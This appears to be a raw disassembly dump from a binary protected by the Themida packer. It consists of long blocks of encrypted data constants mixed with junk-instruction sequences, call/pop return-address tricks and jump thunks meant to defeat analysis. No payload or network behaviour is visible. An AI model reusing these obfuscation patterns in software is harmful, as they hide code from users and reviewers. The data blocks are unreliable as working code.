dd 1BE4BFD1h, 0BCE05C1Dh, 408h, 0A08477E5h, 89061442h
dd 7E58D525h, 413A8F1h, 0D0AD4B9Bh, 0AC4A24B8h, 8DA7B9CDh
dd 5F24A1B0h, 0FB13A8F2h, 3EC54292h, 9C13A8F2h, 10A2DA33h
dd 93A45E9Eh, 3B4D8927h, 0E7377718h, 4C00A46Ah, 0B5097214h
dd 6231DEE6h, 0CF0389C9h, 16000008h, 72881C3Eh, 0CFE57999h
dd 2F45D9F3h, 92A83C50h, 2E079BB7h, 98B48FC8h, 0F614EE04h
dd 586E4C62h, 0B9D1AEC4h, 45C27225h, 13A8F8BEh, 5648D71Ch
dd 97296179h, 0FAF6B725h, 2BA8D4ABh, 14429154h, 2E409902h
dd 0E71F3714h, 0FEBEE6A3h, 0E05BED01h, 363D6h, 8277FF00h
dd 0C1442A0h, 5EDB2B83h, 13A8F17Fh, 80E6A214h, 73EF2D23h
dd 0C9198261h, 192F4E2Bh, 7C038062h, 0DA13A88Eh, 23161171h
dd 354BDF38h, 52F04058h, 8B265E74h, 0D40C20FFh, 8A612739h
dd 0DC59A905h, 144C5706h, 8E176BD4h, 35623190h, 8246FF5h
dd 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h, 623D53E7h
dd 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h, 0D0647C59h
dd 0BF06D1Dh, 0C713A8F9h, 0F492F382h, 0D0EAFC1Ah, 0D5A3DBF3h
dd 6AA8E0F8h, 9D7AE5A1h, 0F5F7352h, 42A0ED92h, 0A7006914h
dd 11C33C13h, 714E05Ch, 3D000000h, 2AF9Eh, 82772D00h, 0C1442A0h
dd 79DB2B83h, 0AAE202DBh, 949E8B08h, 0D52E8606h, 0C2D8CAC3h
dd 1D8613A8h, 3A522FCDh, 9BB390A6h, 0F26FD163h, 13A8240Dh
dd 2B4E60C9h, 98FA4A64h, 0C90121FAh, 7D231C2Eh, 1B144C2Ah
dd 5515EB2h, 46866232h, 775C0h, 76987000h, 0D3F3CCE2h
dd 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0FAD89F1Ch
dd 317613A8h, 1BF492A2h, 3821C3FBh, 23497398h, 0AAC4D62Fh
dd 0D7D1AECDh, 2F4EE326h, 0F3D09ED6h, 0F4198BDBh, 0BAB01F54h
dd 4503DE7h, 0F64F9447h, 0FE5229A6h, 97001442h, 0B881BF85h
dd 8A5BCD8Ch, 0BCC33901h, 2C092335h, 7DBA01Dh, 0E771442h
dd 1206BDAEh, 3E975073h, 0A62CD3AAh, 7A9E05Bh, 0D2000000h
dd 1CB9Eh, 20922D00h, 27EB10B2h, 0F2EBFD85h, 1442B50Eh
dd 57A70788h, 0C27DFFE5h, 8C9E471Ah, 0F6BE31AEh, 8BF413A8h
dd 0A1C09D3Bh, 0F1D54E2h, 0A0F049A3h, 813AC13Eh, 0C18913A8h
dd 3918CCE3h, 6AF65FB0h, 9F3A7290h, 78556B8Dh, 3E512860h
dd 20BE2070h, 1D162846h, 144C5947h, 6158AC15h, 8A623192h
dd 67CC44Ah, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch
dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh
dd 780C2401h, 0E39815C5h, 6F13A8FBh, 79569B2Ah, 7E5B2961h
dd 27F02E66h, 0B23007Fh, 27DC59BBh, 781442A0h, 0B04B839Bh
dd 0CAEAC35Fh, 8C9EF792h, 116C936Ah, 0E69E05Ch, 89000000h
dd 0BDF50FEBh, 9E3B1022h, 0FCh, 0A083772Dh, 820D1442h
dd 39B9F625h, 0A2FB8589h, 99D2D552h, 2FA113A8h, 41DA3F83h
dd 4E3F581h, 6CE94B9Bh, 13A8F797h, 0EAC8DA43h, 7576F4Ch
dd 29D30695h, 9FB1725Fh, 3F8A677Dh, 0D8B14263h, 0E08A842Eh
dd 5BB44F87h, 19F39123h, 0C9C6E9FBh, 421895E5h, 10144C91h
dd 4A7053A7h, 4F8F6232h, 5ADC9h, 3E603800h, 9BBB94AAh
dd 0FB15F107h, 5E725167h, 0BDD9B4CAh, 0B1AA5029h, 1026BAD6h
dd 6E841836h, 0D0E67A90h, 9447DBF3h, 0FB9067E4h, 0F93E13A8h
dd 6179566Ah, 6F7E5B29h, 0A2DAF6D1h, 0A0E79C07h, 5E381442h
dd 1C6D0840h, 0E4225AB3h, 17F46B1Bh, 13DAFFFh, 6F074A1h
dd 0CDA4C6D8h, 0E05B5932h, 0CFEBC664h, 71EBDh, 9E470000h
dd 28h, 7520922Dh, 0F699AE00h, 0ECC9E3F5h, 980A9CD4h, 26425819h
dd 7E98AA15h, 0ED5189A1h, 6C493470h, 29F2C054h, 81000000h
dd 11617956h, 193711AFh, 24DB46E1h, 0B21442A0h, 0A02ED552h
dd 43AC1442h, 6512D8EAh, 1442A09Bh, 0EE51153Eh, 9465F911h
dd 29617956h, 21713D52h, 0A8F2DBA4h, 0BE0E7713h, 9E2A4420h
dd 0D26DA5C5h, 6744E2C0h, 8661FF4Fh, 2036586Ah, 1CF32B43h
dd 89EB3B73h, 0A8F2770Ch, 0B1CDA813h, 7E5F760h, 3A7633A5h
dd 53B3CDA9h, 16285582h, 4273ED1Dh, 760F7F14h, 68438DF5h
dd 81E8D556h, 0CDA99221h, 121F918Ch, 0A7F750B8h, 9644552Ah
dd 3F98011Bh, 5C7451EFh, 0C6D5B2C8h, 9644B249h, 0A884201Bh
dd 0A4DC358Eh, 9CECC2CDh, 7253811Fh, 5932D01Ch, 0F26F0139h
dd 3FA5C0Dh, 0F50760C9h, 7459AD16h, 9F5A479Bh, 44CD95Fh
dd 0C1990000h, 1CF50B9Fh, 765268FCh, 0D3B2C85Ch, 3A152BBFh
dd 4BB18A1Eh, 871B3712h, 0E5799771h, 47DBF1CFh, 0A83C5431h
dd 33C845F5h, 9F13A8FDh, 7956CB5Ah, 55F3CD61h, 304A5C7Ch
dd 35033B53h, 0CA084058h, 0FDDA4501h, 62BBD7B2h, 1108F7CEh
dd 49CDE05Ch, 0F6000000h, 1C6C424Dh, 0A6EF3B9Fh, 7CF95913h
dd 13A6F087h, 8176F353h, 4D13A6F0h, 21FF8BE4h, 0DF38D30Bh
dd 0FD13F18Fh, 0F0897469h, 0D84A13A6h, 0EF309287h, 233D4F2Dh
dd 849A2E46h, 0A24090A6h, 0DC77AFC3h, 0AF7E04CAh, 0D000003h
dd 1C6C424Dh, 0A6861D9Fh, 92CA3313h, 7FCFE7C4h, 0B4EC04E1h
dd 0DD410719h, 5F302460h, 3882FF4Fh, 171442A1h, 71839D79h
dd 0BB952992h, 0F22A3E1Dh, 0D42D4924h, 0BEF09FC2h, 0C8CFF16Eh
dd 1C851C6Eh, 73F052E4h, 3EED48Ch, 0BAD0AE4Ah, 7C8EE782h
dd 5E388762h, 0E16D0840h, 5991EA06h, 9B9BCBA2h, 0ED6ABAF4h
dd 40AF2D3h, 0EF07E482h, 0ACFC958Fh, 0B7C97871h, 0C5DB6FD8h
dd 0E280D0E8h, 19B4EC06h, 96734107h, 0AE10EA7Eh, 0D2EC4A31h
dd 0D4F4CD0Bh, 14B0019Ch, 48E31B3Bh, 0D5BADDEFh, 820C89D9h
dd 0D00C36FFh, 9E791767h, 0FDAA7082h, 3336C002h, 649CBC95h
dd 0C0AE55D2h, 0C32C3336h, 0A425A37h, 94004CBh, 0A7B874ADh
dd 66BE17DDh, 926D1155h, 43B8E766h, 35h, 6C424D6Ch, 1767AA1Ch
dd 5C73F4B4h, 39EF6C4Ah, 0F713A6BCh, 0C6A03E8Eh, 0C3A270A8h
dd 83DC77AFh, 7DFEAB71h, 0CA13A6BEh, 2ED18DB9h, 0A7D877F3h
dd 0F9h, 617956D0h, 31805B29h, 0AAE23B55h, 0AFE7FFDCh
dd 9CEC04E1h, 0F3D225FEh, 0B34E86DFh, 7A57FA1h, 0EA04E029h
dd 6EBE5991h, 42A00AF1h, 4D5FC814h, 42A44054h, 0E2FAD714h
dd 0FF17F492h, 0D8B5CBEDh, 0DEB188C0h, 9E280D0h, 8A16B1E9h
dd 0C45F97ABh, 4957D4B2h, 1713A6ABh, 50889C7Bh, 0B4BA41BEh
dd 0AF1813A6h, 0FADFD56h, 50E21A32h, 0A6B42CD3h, 0E841AA13h
dd 0FA95B4D6h, 0E8C664B4h, 65E2C0D2h, 14405ECDh, 0FB17F290h
dd 371628C3h, 5E07ECEh, 643F55E9h, 3A153C15h, 9B6A5D68h
dd 0F893CB24h, 0C58C4B9Fh, 5B9B6235h, 1F5D5h, 0F618F000h
dd 53734C62h, 0B3CDA9BFh, 162A091Fh, 75916C82h, 69E208E1h
dd 0C8DE728Eh, 263CD0EEh, 889E3248h, 4CFF93ABh, 0FF581F9Ch
dd 0B1F613A8h, 5F7B5622h, 377FF1CBh, 571A2E50h, 154D6743h
dd 0F50F217Ah, 0D7F1CD18h, 17AB049Fh, 6C424D46h, 8AA07E1Ch
dd 571D9A78h, 2513A6A9h, 0EFCE6CBCh, 0F608A3DBh, 21009E30h
dd 7902FB0Dh, 9A13A6A9h, 0A06EA6BCh, 0BD74ACC2h, 9AF2BEE6h
dd 2C9EDD89h, 5823731h, 0A27D09FDh, 0A1B34E86h, 781139C6h
dd 979ED8h, 56C70000h, 0D8605A79h, 1E3B040Dh, 0FBAA51CEh
dd 0BF281442h, 85602E66h, 9D7B1969h, 0A2B44F87h, 0FFA72FDCh
dd 0D5B21442h, 361329BDh, 800FE61Eh, 7361DE2Eh, 2113A6CEh
dd 8A0524B8h, 5C57D424h, 23144029h, 5890A885h, 63CCABBDh
dd 7E9A7513h, 0DDF9D4EAh, 35415889h, 1DA3E362h, 102h, 55E90BE3h
dd 0B246663Fh, 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh
dd 0E1BBD165h, 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8C06D12h
dd 15A4E913h, 0CB5F7B56h, 2CC0D8B5h, 6A79565Bh, 42A016EDh
dd 25BC414h, 1F3714B2h, 743A4CE7h, 1DB1C9A6h, 0CD1D91FEh
dd 0F78C096Bh, 631442A0h, 7AD3E9C7h, 0E8FA10EEh, 0A8F187EFh
dd 0D2B14D13h, 5FEB86BEh, 97326A82h, 5B38063Eh, 0E41C3210h
dd 0C9223816h, 0F47613Dh, 71871B74h, 0BA2C7C94h, 1FB02A43h
dd 7E1F7F5Dh, 8375B518h, 5A07CDDFh, 19FC16CDh, 2E66845Eh
dd 346C8260h, 39792DF6h, 0E0BB5917h, 65F18CC4h, 9B366E8Ah
dd 0C5B8EC89h, 71C49DE8h, 0CB247D93h, 2C442137h, 6FD7ADCh
dd 99067D99h, 0EA53A4BCh, 654412D8h, 8B621951h, 6F8764DBh
dd 37A1AD1Fh, 74D4EAC8h, 1F31CD49h, 0F20AE7FDh, 0C34BAh
dd 8DC30000h, 61ACC335h, 2253CC2Bh, 7E563B10h, 7956245Ch
dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
dd 94703E76h, 9B74427Ah, 68EE437Bh, 7C49h
; ---------------------------------------------------------------------------
mov [esp], ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push edx
push 0C0F578Eh
pop edx
or edx, 4D0E6DDBh
sub edx, 7C511715h
add edx, 372BE9F9h
push edx
pop edi
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edx
mov edx, 8
add edx, esi
mov [edx], edi
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 3FDCC686h, 0B8EF3D06h, 7EA61B4h, 0E0FFC503h, 2D9D6C5Dh
dd 7D36E5Eh, 2D188211h, 5241AA66h, 2342982h, 5B5DD9A6h
dd 69FFEF84h, 3D0C084Dh, 3EBCDCDCh, 7C7CA1ECh, 4610B6CBh
dd 1C2ABA00h, 45321E27h, 40BBBBF5h, 505C857Dh, 4021E575h
dd 4E8392EAh, 7EA14CFBh, 62F76F25h, 52B71F9h, 1C1D21A5h
; ---------------------------------------------------------------------------
loc_5E8724: ; DATA XREF: Themida_:00584110o
lea ecx, [ebp+7EA6344h]
push 0
push ebx
call sub_5E8735
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E8735 proc near ; CODE XREF: Themida_:005E872Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5E8735 endp
; ---------------------------------------------------------------------------
xchg eax, edi
xchg ecx, [ebx-1BFBAA43h]
pop es
mov [ebp+7E41B71h], ecx
sbb dl, 0Bh
mov dword ptr [ebp+7E42DA1h], 6FE0h
push 0
push edi
call sub_5E876B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E876B proc near ; CODE XREF: Themida_:005E8763p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5E876B endp
; ---------------------------------------------------------------------------
clc
sub ecx, [ecx-1BE3BA6Bh]
pop es
mov dword ptr [ebp+7E422B9h], 0
or [ebp+7E41C85h], eax
xor [ebp+7E41B1Dh], eax
push dword ptr [ebp+7E406A5h]
cld
call dword ptr [ebp+7E43061h]
push 0
push ebp
call sub_5E87B1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E87B1 proc near ; CODE XREF: Themida_:005E87A9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5E87B1 endp
; ---------------------------------------------------------------------------
fadd dword ptr [ebp+3DF8319Dh]
popa
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5E8811
; ---------------------------------------------------------------------------
dd 0E82D3F89h, 9F7580E0h, 0A3636582h, 1309F69Eh, 0FF5BAE04h
dd 19828B35h, 7E2B44ADh, 351AD7C3h, 0D42E3438h, 32BF8A0Ah
dd 162904E4h, 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 9585A06Bh
db 0BEh
; ---------------------------------------------------------------------------
loc_5E8811: ; CODE XREF: Themida_:005E87D2j
jmp loc_5E8994
; ---------------------------------------------------------------------------
cmpsd
mov edx, 2C2717E7h
aad 1Ah
rcr dword ptr [eax-2E28B94Fh], cl
retf 0EFB4h
; ---------------------------------------------------------------------------
db 41h
dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h
dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
dd 0ACE5h, 1, 42h dup(0)
dd 97000000h, 33A26D84h, 0EE69F0h
; ---------------------------------------------------------------------------
loc_5E8994: ; CODE XREF: Themida_:loc_5E8811j
jmp loc_5E9A29
; ---------------------------------------------------------------------------
push 7EA6710h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6823h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA69E9h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6AADh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6BCDh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6C90h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6D66h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6DE9h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6EF6h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA6F73h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA7051h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA7106h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA71C4h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA72E2h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EA73E1h
jmp loc_598345
; ---------------------------------------------------------------------------
db 7Dh
dd 33487BDDh, 0E8FD3026h, 98ADE06Ch, 4C6194C0h, 0DC104307h
dd 65E56EFFh, 183A1D32h, 0CA86D0E5h, 7BD38297h, 9679E348h
dd 23FFF366h, 0D9AEAF63h, 9B8ED27Ch, 0ED61F4BAh, 476971A4h
dd 3B1A014Bh, 8568E213h, 23F9A342h, 0B29EB865h, 2362569h
dd 6A23F9A2h, 3B6B4E96h, 4023F9A2h, 86C90233h, 5E8C82DAh
dd 66A95Ah, 65AD0000h, 0F9AA5282h, 194A5723h, 0C8C0E69Ah
dd 54F367Eh, 1BBDB57Ch, 559E037Dh, 81D5BE11h, 8A899ECFh
dd 2523FA42h, 72E7CE18h, 1C4DA0E4h, 3185B9A8h, 4D0823FAh
dd 185CF661h, 45387CC5h, 2C5C3F12h, 3123FA32h, 0A497DB24h
dd 7D249EB2h, 0A1D1B4D2h, 9E23FA31h, 0B1444891h, 0EAC29Eh
dd 0ED915A5Eh, 90000000h, 0EED17CD9h, 1C158EBEh, 2165AEBBh
dd 0DB25252Eh, 0DBEF63F4h, 0D1798D93h, 5DD10224h, 51342209h
dd 0A12D0A27h, 0E529727Ch, 0A6B0A992h, 0C5DE0F62h, 267ABE90h
dd 0F73B193Fh, 0B4FD5104h, 92C389CBh, 3F72DC79h, 15EACC2Eh
dd 48064F1Ch, 0F9550015h, 0B1B9CFB5h, 0F6C98467h, 0D1DE23F9h
dd 2C5C3F87h, 3123F9D6h, 8890F324h, 0D8206A66h, 6E964F1h
dd 23F9D5D6h, 4C7DC6D3h, 0E0BFF337h, 61ABB82Bh, 2771D97Ah
dd 0BE9A1640h, 0B91C4D96h, 0A99BAFA4h, 0C2A744F4h, 0E77F7CA0h
dd 0E900000Dh, 9FB4E771h, 54699CBAh, 4194C00h, 0B8CD0054h
dd 487CAF9Bh, 0D179DA63h, 84CE899Eh, 361A3C51h, 0E767EE03h
dd 2E54FB4h, 23FFF5D2h, 0D92223D7h, 2925307Ah, 0A4AF96E0h
dd 6F4462A6h, 0D3F965E0h, 0BD20519Ah, 6EA1ADA8h, 0A4411F8h
dd 0C34273C6h, 1D4D3078h, 221C158Fh, 0B6D8E415h, 412870BAh
dd 0A1F43812h, 985C5B70h, 4A5C23F9h, 371C7C36h, 0DD5468C8h
dd 44FFB3ABh, 0CBD86FA0h, 0FD649887h, 39CC23F9h, 0CC124A16h
dd 0CF195A5Eh, 1D000000h, 0ED312136h, 0D9EA699Ah, 9B8ED27Ch
dd 5F4E92B8h, 1C1593FDh, 8FD975E0h, 93346447h, 2B391C15h
dd 15931848h, 0BF08151Ch, 3F162B8Eh, 34775E44h, 0A0E94D28h
dd 0E6F6085Ch, 0DA0A6C13h, 0F80E1A4Bh, 165EA6F0h, 16820333h
dd 0B1FB081Ch, 16819ECEh, 5D8E9B1Ch, 0FA968D48h, 0E2152223h
dd 7FD1856Ch, 0ABB7E83Bh, 60438D85h, 2BE15D0Bh, 260D5764h
dd 0D5EA1D2Dh, 0B9DACC7Eh, 0DBC2A7F1h, 0CD4BAB7h, 5EFC0000h
dd 0A7B2C7FAh, 0ED677CAFh, 41172C5Fh, 88CBE013h, 705B8FC2h
dd 0B1E466EDh, 6497BB9Ch, 1649074Fh, 0C7FA5401h, 0E515F862h
dd 0EA23FFF6h, 91783536h, 0F3468AC4h, 0A0AAA9C2h, 67E56F56h
dd 6EE7D023h, 18499CE0h, 99B5A0B5h, 7CD9EB66h, 5D4088D2h
dd 1C158F2Dh, 11412432h, 0E1C158Fh, 87CFB801h, 13285C9h
dd 93BB9A8Dh, 0EE1E0149h, 0EB1C158Eh, 424AADDEh, 0F7DA242Ch
dd 23F9AED8h, 9382C6D3h, 23F9AE5Fh, 6D1B34C7h, 3F83D386h
dd 4B23BBECh, 0F05A5E83h, 64h, 0C8C0E6EFh, 0BA649B7Eh
dd 394723F9h, 0F9BA2656h, 0CD162323h, 0B9669A89h, 6AE923F9h
dd 0ACA99CE0h, 33DA5EA2h, 0D86B6F1Ch, 0B4B3EB77h, 31B85A5Eh
dd 0B7000000h, 7EC8C0E6h, 0F9948C9Bh, 75E28F23h, 615094DDh
dd 23F9952Dh, 214D0295h, 5A5EA549h, 15EEh, 7E0F200h, 0A90E0DCEh
dd 66AAA8AFh, 1A99CA13h, 8CECFh, 0C0E6D400h, 6C9C7FC7h
dd 711C158Eh, 8F4F7F64h, 3F4C1C15h, 0F79AACF6h, 7FCB889Eh
dd 62D4E83Bh, 88023303h, 9C71A5h, 1F697624h, 4D301D38h
dd 24005B1Dh, 2011522h, 24D5882Fh, 8C73BD06h, 0EE4185C9h
dd 10455ABDh, 1E2A5A3Dh, 222F2400h, 7E7D8FD9h, 3E19D43Fh
dd 5D8D70BAh, 62240025h, 5CB02455h, 3C6DDF75h, 0C8121E30h
dd 0EA8940E5h, 0D8222F2Bh, 0A0EA64F1h, 0B83858Eh, 3680A55Fh
dd 159B2353h, 0EA1B281Ch, 6BE37287h, 0DE6A0F21h, 0C3074D0Bh
dd 0A40B5C70h, 41279BCCh, 7DD3832Fh, 0BBA2EA34h, 1D71B59Bh
dd 161A0A3Ah, 0B9020F1Ch, 321C7388h, 828F23FAh, 0C5571990h
dd 4A476BBAh, 0B0Eh, 8DC098C2h, 4275E178h, 0F225272Dh
dd 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh
dd 8EC7DC0Fh, 0BE288DC0h, 0FFF7ABDBh, 0FBFCB023h, 158FA9DDh
dd 1B17391Ch, 0F3AAEED1h, 0C40C23FFh, 0FFF0B1E1h, 0BDA0AE23h
dd 23FFF08Dh, 0B3C8592h, 2C346774h, 0DDC40E1Ah, 67EED779h
dd 1F50A3E7h, 5486C2A5h, 0E1B2BEAh, 0D678DDC4h, 86A17A8Ch
dd 78DCC727h, 0DB2E72DEh, 0E9FE6192h, 0B89EE26Ch, 3E509A96h
dd 39B449DEh, 2FA9DA27h, 0AF4Ch, 59A3B024h, 8ECBE372h
dd 0E83184C8h, 99B5A0B5h, 0FC346655h, 0A2C4A3FFh, 4A795CA6h
dd 45ABE41Fh, 0DE6C686Dh, 0BE07D856h, 9B7E73CCh, 0B8B5D942h
dd 0A4Ah, 5184D486h, 6391D3Ch, 0B6E963F1h, 6A9DB7A1h, 194CFE55h
dd 0DC77C6E5h, 31263B6Eh, 7DD9EE21h, 0CA8BA0D3h, 82EC5184h
dd 0FFF86F9Fh, 0B7B86C23h, 7EC8C0E6h, 0FFF2579Bh, 0C98F3C23h
dd 43224DC0h, 549D7EFCh, 7CDAC10Bh, 0C3D90D4h, 2D384A92h
dd 0E597239Eh, 6B9B7EC8h, 7024005Ah, 3C193263h, 8BCADF12h
dd 77997FC3h, 164E317Bh, 932BEABFh, 0FF553C86h, 85B6094Dh
dd 1D31240Bh, 0CE80D5EAh, 8682A48Ah, 0A1E4593Ch, 0BDCB2400h
dd 5AAADAh, 59A2AF24h, 212D280Fh, 0D27CD9EEh, 98B3A188h
dd 5A85B5h, 347D8A24h, 6CA08F03h, 0FC24005Ah, 4C94DEEAh
dd 5B3969h, 0B0A4B424h, 910B3C49h, 0EABE2EAEh, 94DEEB2Bh
dd 73A6A8ADh, 1357F75Eh, 0D3441B2Dh, 183BB910h, 7FAF92DCh
dd 7C1C15BFh, 0F9DC266Fh, 240023BDh, 411345F2h, 96C6A9FDh
dd 9323FFE0h, 0B0F43D86h, 62ACA4CAh, 0E3E3447Fh, 0D472842Bh
dd 0D2353AD0h, 101EB5E6h, 2407FD2Dh, 0ACF5021Ch, 9B777BBAh
dd 0C4C1E5C2h, 92Ah, 71A4B4A6h, 2659FD5Ch, 0D6094311h
dd 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh, 5DF90E41h
dd 0AAABC0F3h, 0A20C71A4h, 0FFF98FBFh, 0D7D88C23h, 8ED27CD9h
dd 4A94BA9Bh, 0C107CB38h, 1945C14Fh, 0A7CEF7Eh, 0AF23549Dh
dd 0CD1A357Ah, 0FF93C688h, 5DBABEAFh, 84E0BF2h, 1137D7h
dd 78360000h, 9F88C291h, 5397B5h, 4FBACCFh, 42B10000h
dd 4313FA61h, 4576C90Dh, 0D11B1739h, 0A1E56DEAh, 0C0A31D4Eh
dd 23F9BAB9h, 68F36976h, 0F7058C8Ah, 650586Eh, 0E9AD3023h
dd 0E22633F8h, 94DEEAFCh, 91B24B1h, 84CEDBF7h, 0B295B89Dh
dd 0F101FA82h, 0FE317A87h, 0F0E26CE9h, 0EDBD845Bh, 67080529h
dd 69000008h, 1F3467F1h, 0D4E91C3Ah, 8499CC80h, 384D80D4h
dd 0C8FC2F1Bh, 51F95AE3h, 44E091Eh, 0B69ABCD1h, 67E76E83h
dd 8265CF34h, 23FFFB52h, 0D9A2A357h, 22D6077Ch, 863B753Ch
dd 0ED367FCFh, 2A0D55A9h, 1C1620FAh, 0A8C1F2FFh, 6E559FABh
dd 568669EAh, 531C1621h, 65B9FD46h, 16215282h, 14A571Ch
dd 43656DD0h, 0CEB5FD47h, 0B7E7CA8Bh, 0B41C1620h, 0C71A5EA7h
dd 85138196h, 7E8C2400h, 7F6B9Bh, 0AD987024h, 0C9EF2350h
dd 549EE730h, 3366E86Dh, 0D317371Eh, 0C8BF987Fh, 66C4FDCEh
dd 0AAEE37E2h, 67B09EB7h, 0C042A36h, 0D379DBC2h, 0D4528A2h
dd 0A22BEA3Bh, 0F1644B95h, 40152A5Dh, 0B9FA2A0Dh, 0F2FF1C15h
dd 0E17265A9h, 0C5CA7769h, 92B6C2A9h, 79195h, 3D1B3F00h
dd 0F264F50Ah, 0A2AAAABFh, 56FE5A6Fh, 5450E23h, 303D9ED2h
dd 0DFF42723h, 92A7DA78h, 44598CC4h, 0A50A3D11h, 0FC28583Bh
dd 712523FFh, 0C2917870h, 0C0F14488h, 4C9692B4h, 0FFF33169h
dd 27717E23h, 6391540h, 0A4A64F1h, 61B5F942h, 2E263219h
dd 82B297EAh, 8723FFF1h, 2B3D497Ah, 68EED51Fh, 0F7400C48h
dd 1D044CC6h, 7ED11537h, 0DD9384Dh, 0C9D62BE4h, 9B7880D7h
dd 7B789CC2h, 70Eh, 8DC098C2h, 4275E178h, 0F225272Dh, 0A6D97BDDh
dd 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh, 8EC7DC0Fh
dd 0BE288DC0h, 0FFFBABDBh, 0FBFCB023h, 88D27CD9h, 6798B2A1h
dd 0F95500F3h, 143B80B5h, 1B4B2E76h, 731C158Fh, 21BC5E56h
dd 7E8BF2AFh, 2D21344Dh, 193666FAh, 745B5DBAh, 9F3F70E4h
dd 11h, 1397BCA3h, 77CA0E44h, 0CF7EFD2Eh, 2D9h, 0D27CD9D4h
dd 9CB6A188h, 7FB0A6B3h, 703250Bh, 629275BDh, 671C158Eh
dd 0CCAF295Ah, 23FFF394h, 0DBC20C19h, 3F92D67Ch, 4E35AB0Eh
dd 1E014B0Bh, 23FFF2EEh, 94ADDEEBh, 6AE7C2C1h, 555E04EDh
dd 7ED5C80Ch, 7F9199CCh, 0D1707BA8h, 98A4DBAEh, 189EE92h
dd 543781CAh, 24003924h, 89D31C29h, 0EA9C4DA6h, 0E175222Bh
dd 8FD82B6Fh, 0EEC3345h, 91CEC0E2h, 56FFE660h, 0A5B0C5F8h
dd 0E17265A9h, 293F2569h, 41F4D721h, 4623FA91h, 0F4264739h
dd 0CEF2BAC4h, 601D1h, 0CD8BCF00h, 82D4859Ah, 321A3A4Fh
dd 0E66EEAFFh, 95B59EB3h, 0C08D2E62h, 6F84B793h, 22376AE8h
dd 0D4E91C34h, 359ACD81h, 0FCB8E8CBh, 1B523FFh, 327CD900h
dd 94E72B23h, 0F5EF014Bh, 19FD5B87h, 6F96D9Eh, 0EB1BFE4Fh
dd 0F01C1641h, 41CFFFE2h, 0BFCC1C16h, 0B4E92D76h, 5203E06Fh
dd 6535C9FCh, 25DBA2Ch, 7, 169CF01h, 0D9D40000h, 83E0D27Ch
dd 81C2A9F0h, 584605Dh, 0E4C0000h, 5702174Ah, 9DB7CCFFh
dd 0F1677CAFh, 381B3063h, 0ABDF12h, 134163Dh, 0B4E76BECh
dd 6699B79Fh, 174A0451h, 356548B2h, 3A23FFFEh, 7CD98586h
dd 0BA9B8ED2h, 0F85D5094h, 391F1256h, 32CDD71Bh, 45701Dh
dd 8BC3924Fh, 50F95A41h, 158F3D6Dh, 0EC35421Ch, 0EB6C55A8h
dd 9FD02367h, 9FF0A83Ch, 1C775DBAh, 7B000000h, 97205033h
dd 101D1C15h, 0DD212F27h, 0CFDA598Ah, 0DBh, 0D5CFD4h, 0E6D40000h
dd 0B4E4C7C0h, 0B91C158Eh, 8E98C8ABh, 88951C15h, 9AACF63Fh
dd 0FD9C2D36h, 2512534Ah, 0D1D580F8h, 95DD5788h, 76A7A7AEh
dd 0F22961h, 80D98624h, 63498DD6h, 0B3FB454Dh, 97C88CCCh
dd 0E43F1B82h, 719BAD2Bh, 2291D770h, 6D7A1142h, 9B677E7Bh
dd 0C1BEE2C2h, 4A6h, 0F528302Ah, 0AADD79E0h, 5A8DBF95h
dd 0E411345h, 0BDF05AF9h, 381B2289h, 8DCADF12h, 0D97D92C5h
dd 262F4477h, 2690F528h, 0FFFF1343h, 63641823h, 7EC8C0E6h
